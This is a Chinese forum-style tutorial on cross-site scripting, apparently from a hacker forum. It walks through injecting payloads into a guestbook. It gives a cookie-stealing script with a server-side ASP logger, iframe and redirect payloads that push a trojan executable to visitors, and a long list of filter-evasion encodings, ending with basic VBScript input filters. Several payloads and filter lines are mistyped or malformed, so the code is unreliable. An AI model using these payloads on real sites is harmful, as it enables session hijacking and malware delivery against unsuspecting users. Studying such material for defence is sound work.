**跨站学习**

**我在网上找了好多跨站的资料..讲的都不怎么清楚.. 我想写一篇跨站最详细的文章..  
最近我在学习跨站..  我结合了网上的算有资料来讲..  我是菜鸟如果那里讲的不好，讲的不对,,还请各位指教..  
  
  
人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS，但这会与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。因此有人将跨站脚本攻击缩写为XSS。如果你听到有人说 “我发现了一个XSS漏洞”，显然他是在说跨站脚本攻击。  
  
跨站脚本攻击又叫“CSS”是指入侵攻击者通过某种方式在远程的WEB页面的HTML代码中写入特殊的字符串..  
  
恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器  
  
来实操吧...  
  
  
我本建了一个环境..在网站找到可写的地方,我看到了留言反  
  
  
..  
  
  
  
  
  
我们在内容写入我们跨站的代码..  
  
<script>alert("中国黑帽安全论坛")</script>  
  
  
些时弹出一个对话框:   
  
  
  
说明写入代码成功执行了..  
  
  跨站不只是用为弹出一个对话框这么简单...  刚开始的时候我个人觉的跨只是用来弹出对话框玩玩而已...   
跨站可以用来挂马、盗Cookieks、DDOS攻击、可以添加管理员等...  
  
如果我们把：<script>alert("XSS")</script>  
换在<inframe src=http://127.0.0.1/1.exe></iframe>**[**http://127.0.0.1/1.exe**](http://127.0.0.1/1.exe)**比如这是一个木马.当管理员、或其它会员浏览到些页面时用户就会受到挂马的攻击..  
  
盗取COOKIEKS代码:  
<script>document.location='http://127.0.0.1/1.asp?msg='+document.cookie</script>  
  
  
<%  
thisfile=Server.MapPath("cookie.txt")  
msg=Request("msg")  
set fs=server.CreateObject("scripting.filesystemobject")  
set thisfile=fs.OpenTextFile(thisfile,8,True,0)  
thisfile.WriteLine("=======cookie:"&msg&"======byXSS")  
thisfile.close  
set fs=nothing  
%>  
  
  
如果你是站长你要怎么防御呢???  
Replace(str,”<”,”<”)  
Replace(str,”>”,”<”)  
上面两句代码可以过滤掉 “<” “>”   
跨站，其实变中HTML的注入问题..  
  
<script>alert('XSS');</script>   
<img src="javascript:alert('XSS');">  
<img src="**[**http://xss.jpg**](http://xss.jpg/)**" onerror=alert('XSS')>弹出窗口  
<img src="javascript:alert(XSS)" width=100>  
<img src="javascript:alert(XSS)" width=100>  
<img src="javas cript:alert(XSS)" width=100>  
<img src="#" onerror=alert(XSS)>  
<font style=”TEST:expression(alert(‘XSS’))”>  
<img src="#" style="Xss:expression(alert(/xss/));">  
<li style=”TEST:expression(alert(‘XSS’));”>  
<img src="#"/\*\*/onerror=alert(XSS) width=100>  
<img style="xss:expr/\*XSS\*/ession(alert('XSS'))" />  
<img>javascript:document.write(XSS);</img>  
<IMG SRC="javascript:slert("XSS");">  
  
唉...被过滤了是不是没办法了呢？？？  
NO，  
  
饶过滤、转代码.  
<img src=”javascript:alet(“XSS”);”>  
把它转换为网页码  
%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%74%28%22%D6%D0%B9%FA%BA%DA%C3%B1%B0%B2%C8%AB%C2%DB%CC%B3%22%29%3B  
  
编码：  
"javascript:alet("&Ouml;&ETH;&sup1;ú&ordm;&Uacute;&Atilde;±°&sup2;&Egrave;&laquo;&Acirc;&Ucirc;&Igrave;&sup3;");  
10:进制  
<img src="javascript:alert('XSS');">  
  
16进制等：  
<img src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b">  
  
还可以大小写转换等...  
  
  
  
  
JS还原函数法  
我在网上找的资料:  
JS还原函数”法就是利用String.fromCharCode()函数，将ASCII码数组转换为字符串然后利用eavl()函数执行 以躲过网站程序的过滤..  
  
我们把:<script>alert("http://www.bhst.org")</script>  
这一段alert(**[**http://www.bhst.org**](http://www.bhst.org/)**)对应的ASCII码数组如  
下:  
  
  
97 108 101 114 116 40 34 104 116 116 112 58 47 47 119 11  
9 119 46 98 104 115 116 46 111 114 103 34 41 119 46 98 104 115 116 46 111 114 103 34 41  
  
  
  
alert("http://www.bhst.org")语句可以改写为如下代码  
  
eval(string.fromcharcode(97 108 101 114 116 40 34 104 116 116 112 58 47 47 119 119 119 46 98 104 115 116 46 111 114 103 34 41)  
  
  
  
  
我在网上找的资料里有跨站挂马的代码我就帖出来给大家看吧..  
<script>document.location=(‘http://127.0.0.1/1.exe’)</script>  
<script>window.open(“http://127.0.0.1/1.exe”);</script>  
  
执行的时候会弹出个游览窗口..  
  
  
跨站无处不在,,,我们就没办法了吗？？  
  
不是在,,,资料如下:**

**解决方法**

**要避免受到跨站脚本执行漏洞的攻击，需要程序员和用户两方面共同努力：**

**程序员：**

**1． 过滤或转换用户提交数据中的HTML代码**

**2． 限制用户提交数据的长度**

**用户：**

**1． 不要轻易访问别人给你的链接**

**2． 禁止浏览器运行JavaScript和ActiveX代码**

**附：常见浏览器修改设置的位置为：**

**Internet Explorer：**

**工具->Internet选项->安全->Internet->自定义级别**

**工具->Internet选项->安全->Intranet->自定义级别**

**Opera：>文件->快速参数->允许使用Java**

**文件->快速参数->允许使用插件**

**文件->快速参数->允许使用JavaScript  
  
  
  
过滤跨站脚本、HTML标签和特殊字符  
Function NoCSSHackAdmin(Str,StrTittle) '过滤跨站脚本和HTML标签Dim regExSet regEx = New RegExpregEx.IgnoreCase = TrueregEx.Pattern = "<|>|\t"If regEx.Test(LCase(Str)) Then  Response.Write "<script>alert('"& StrTittle &"含有非法字符(<,>,tab)');history.back();</script>"  Response.EndEnd IfSet regEx = NothingNoCSSHackAdmin = StrEnd FunctionFunction NoCSSHackInput(Str) '过滤跨站脚本和HTML标签Dim regExSet regEx = New RegExpregEx.IgnoreCase = TrueregEx.Pattern = "<|>|(script)|on(mouseover|mouseon|mouseout|click|dblclick|blur|focus|change)|url|eval|\t"If regEx.Test(LCase(Str)) Then  Response.Write "<script>alert('你的输入含有非法字符(<,>,tab,script等)，请检查后再提交！');history.back();</script>"  Response.EndEnd IfSet regEx = NothingNoCSSHackInput = StrEnd FunctionFunction NoCSSHackContent(Str) '过滤跨站脚本，只过滤脚本，对HTML不过滤Dim regExSet regEx = New RegExpregEx.IgnoreCase = TrueregEx.Pattern = "(script)|on(mouseover|mouseon|mouseout|click|dblclick|blur|focus|change)|(url\()|eval"If regEx.Test(LCase(Str)) Then  Response.Write "<script>alert('你提交的内容含有非法字符(不能包含脚本)，请检查后再提交！');history.back();</script>"  Response.EndEnd IfSet regEx = NothingNoCSSHackContent = StrEnd FunctionFunction ChkInvaildWord(Words)Const InvaildWords="select|update|delete|insert|@|--|,"   '需要过滤得字符以“|”隔开，最后结束的字符必须是|ChkInvaildWord=TrueInvaildWord=Split(InvaildWords,"|")inWords=LCase(Trim(Words))For i=LBound(InvaildWord) To UBound(InvaildWord)If Instr(inWords,InvaildWord(i))>0 Then  ChkInvaildWord=True  Exit FunctionEnd IfNext ChkInvaildWord=FalseEnd Function  
  
  
说的不好，请大家不要笑我.**